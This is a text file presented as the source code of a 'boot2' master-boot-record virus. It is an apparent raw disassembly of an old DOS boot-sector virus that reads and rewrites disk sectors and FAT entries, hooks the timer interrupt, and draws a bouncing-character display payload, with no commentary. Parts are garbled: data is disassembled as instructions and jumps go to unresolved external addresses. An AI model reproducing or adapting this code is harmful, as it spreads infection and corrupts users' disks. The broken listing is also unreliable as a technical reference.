📄 boot2主引导区病毒的源码 .txt
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name boot2_asm
.radix 16
n_000100:
inc word ptr [7DF3]
mov bx,[7DF3]
add byte ptr [7EB2],2
call n_FFFF9D
jmp short n_00014B
n_000112:
mov ax,3
test byte ptr [7DF7],4
je n_00011D
inc ax
n_00011D:
mul si
shr ax,1
sub ah,byte ptr [7EB2]
mov bx,ax
cmp bx,1FF
jnb n_000100
mov dx,[bx+8000]
test byte ptr [7DF7],4
jne n_000145
mov cl,4
test si,1
je n_000142
shr dx,cl
n_000142:
and dh,0F
n_000145:
test dx,0FFFF
jz n_000151
n_00014B:
inc si
cmp si,di
jbe n_000112
ret
n_000151:
mov dx,0FFF7
test byte ptr [7DF7],4
jnz n_000168
and dh,0F
mov cl,4
test si,1
je n_000168
shl dx,cl
n_000168:
or [bx+8000],dx
mov bx,[7DF3]
call n_FFFF98
mov ax,si
sub ax,2
mov bl,byte ptr [7C0Dh]
xor bh,bh
mul bx
add ax,[7DF5]
mov si,ax
mov bx,0
call n_FFFF9D
mov bx,si
inc bx
call n_FFFF98
mov bx,si
mov [7DF9],si
push cs
pop ax
sub ax,20
mov es,ax
call n_FFFF98
push cs
pop ax
sub ax,40
mov es,ax
mov bx,0
call n_FFFF98
ret
mov ch,23
add dh,dh
push es
idiv word ptr [di+2]
jne n_0001DE
or byte ptr [7DF7],2
mov ax,0
mov ds,ax
mov ax,[20]
mov bx,[22]
mov [20],7EDF
mov [22],cs
push cs
pop ds
mov [7FC9],ax
mov [7FCBh],bx
n_0001DE:
ret
push ds
push ax
push bx
push cx
push dx
push cs
pop ds
mov ah,0F ;Get video mode
int 10
mov bl,al
cmp bx,[7FD4]
je n_000227
mov [7FD4],bx
dec ah
mov byte ptr [7FD6],ah
mov ah,1
cmp bl,7
jne n_000205
dec ah
n_000205:
cmp bl,4
jnb n_00020C
dec ah
n_00020C:
mov byte ptr [7FD3],ah
mov word ptr [7FCF],101
mov word ptr [7FD1],101
mov ah,3 ;Read cursor position
int 10
push dx
mov dx,[7FCF]
jmp short n_00024A
n_000227:
mov ah,3 ;Read cursor position
int 10
push dx
mov ah,2 ;Set cursor position
mov dx,[7FCF]
int 10
mov ax,[7FCDh]
cmp byte ptr [7FD3],1
jne n_000241
mov ax,8307
n_000241:
mov bl,ah
mov cx,1
mov ah,9 ;Write character with attribute
int 10
n_00024A:
mov cx,[7FD1]
cmp dh,0
jne n_000258
xor ch,0FF
inc ch
n_000258:
cmp dh,18
jne n_000262
xor ch,0FF
inc ch
n_000262:
cmp dl,0
jne n_00026C
xor cl,0FF
inc cl
n_00026C:
cmp dl,byte ptr [7FD6]
jne n_000277
xor cl,0FF
inc cl
n_000277:
cmp cx,[7FD1]
jne n_000294
mov ax,[7FCDh]
and al,7
cmp al,3
jne n_00028B
xor ch,0FF
inc ch
n_00028B:
cmp al,5
jne n_000294
xor cl,0FF
inc cl
n_000294:
add dl,cl
add dh,ch
mov [7FD1],cx
mov [7FCF],dx
mov ah,2 ;Set cursor position
int 10
mov ah,8 ;Read character with attribute
int 10
mov [7FCDh],ax
mov bl,ah
cmp byte ptr [7FD3],1
jne n_0002B6
mov bl,83
n_0002B6:
mov cx,1
mov ax,907 ;Write character '\7' with attribute
int 10
pop dx
mov ah,2 ;Set cursor position
int 10
pop dx
pop cx
pop bx
pop ax
pop ds
jmp far ptr f_000020
add byte ptr [bx+si],al
add word ptr [bx+di],ax
add word ptr [bx+di],ax
add bh,bh
call word ptr [bx+si-49]
mov bh,0B7
mov dh,40
inc ax
mov dh,bl
out 5A,al
lodsb
shl ah,cl
jmp far ptr f_0F05E6
db '@d\`R@@@@db^b`'
pop si
jo n_000368
inc ax
inc cx
mov bh,0B7
mov bh,0B6
jmp n_000336
db 'IBM 3.3'
dw 200
db 2
dw 1
db 2
dw 70
dw 2D0
db 0FDh
dw 2
dw 9
dw 2
dw 0
db 0011h dup (000h)
adc al,byte ptr [bx][si]
add byte ptr [bx][si],al
add byte ptr [bx][di],al
add dl,bh
boot2:
xor ax,ax
mov ss,ax
mov sp,7C00
push ss
pop es
mov bx,78
lds si,ss:[bx]
push ds
push si
push ss
push bx
mov di,7C2Bh
mov cx,0Bh
cld
n_000351:
lodsb
cmp byte ptr es:[di],0
je n_00035B
mov al,byte ptr es:[di]
n_00035B:
stosb
mov al,ah
loop n_000351
push es
pop ds
mov [bx+2],ax
mov [bx],7C2Bh
sti
int 13
jc n_0003D5
mov al,byte ptr [7C10]
cbw
mul word ptr [7C16]
add ax,[7C1C]
add ax,[7C0E]
mov [7C3F],ax
mov [7C37],ax
mov ax,20
mul word ptr [7C11]
mov bx,[7C0Bh]
add ax,bx
dec ax
div bx
add [7C37],ax
mov bx,500
mov ax,[7C3F]
call n_000440
mov ax,201
call n_00045A
jb n_0003C2
mov di,bx
mov cx,0Bh
mov si,7DD6
rep cmpsb
jne n_0003C2
lea di,[bx+20]
mov si,7DE1
mov cx,0Bh
rep cmpsb
je n_0003DA
n_0003C2:
mov si,7D77
n_0003C5:
call n_000432
xor ah,ah
int 16
pop si
pop ds
pop [si]
pop [si+2]
int 19
n_0003D5:
mov si,7DC0
jmp n_0003C5
n_0003DA:
mov ax,[51C]
xor dx,dx
div word ptr [7C0Bh]
inc al
mov [7C3C],al
mov ax,[7C37]
mov [7C3Dh],ax
mov bx,700
n_0003F1:
mov ax,[7C37]
call n_000440
mov ax,[7C18]
sub al,[7C3Bh]
inc ax
cmp [7C3C],al
jnb n_000408
mov al,[7C3Ch]
n_000408:
push ax
call n_00045A
pop ax
jb n_0003D5
sub [7C3C],al
je n_000421
add [7C37],ax
mul word ptr [7C0Bh]
add bx,ax
jmp n_0003F1
n_000421:
mov ch,[7C15]
mov dl,[7DFDh]
mov bx,[7C3Dh]
jmp far ptr f_000700
n_000432:
lodsb
or al,al
je n_000459
mov ah,0E ;Write character in TTY graphics mode
mov bx,7
int 10
jmp n_000432
n_000440:
xor dx,dx
div word ptr [7C18]
inc dl
mov [7C3Bh],dl
xor dx,dx
div word ptr [7C1A]
mov [7C2A],dl
mov [7C39],ax
n_000459:
ret
n_00045A:
mov ah,2
mov dx,[7C39]
mov cl,6
shl dh,cl
or dh,[7C3Bh]
mov cx,dx
xchg ch,cl
mov dl,[7DFDh]
mov dh,[7C2A]
int 13
ret
db 0Dh,0A,'Non-System disk or disk error',0Dh,0A
db 'Replace and strike any key when ready',0Dh,0A,0
db 0Dh,0A,'Disk Boot failure',0Dh,0A,0
db 'IBMBIO SYS'
db 'IBMDOS SYS'
db 12 dup (0)
dw 0AA55
extrn f_000020:far,n_000336:near,n_000368:near
extrn n_FFFF9D:near,n_FFFF98:near
extrn f_000700:far,f_0F05E6:far,f_3FFF98:far
extrn f_3FFF9D:far
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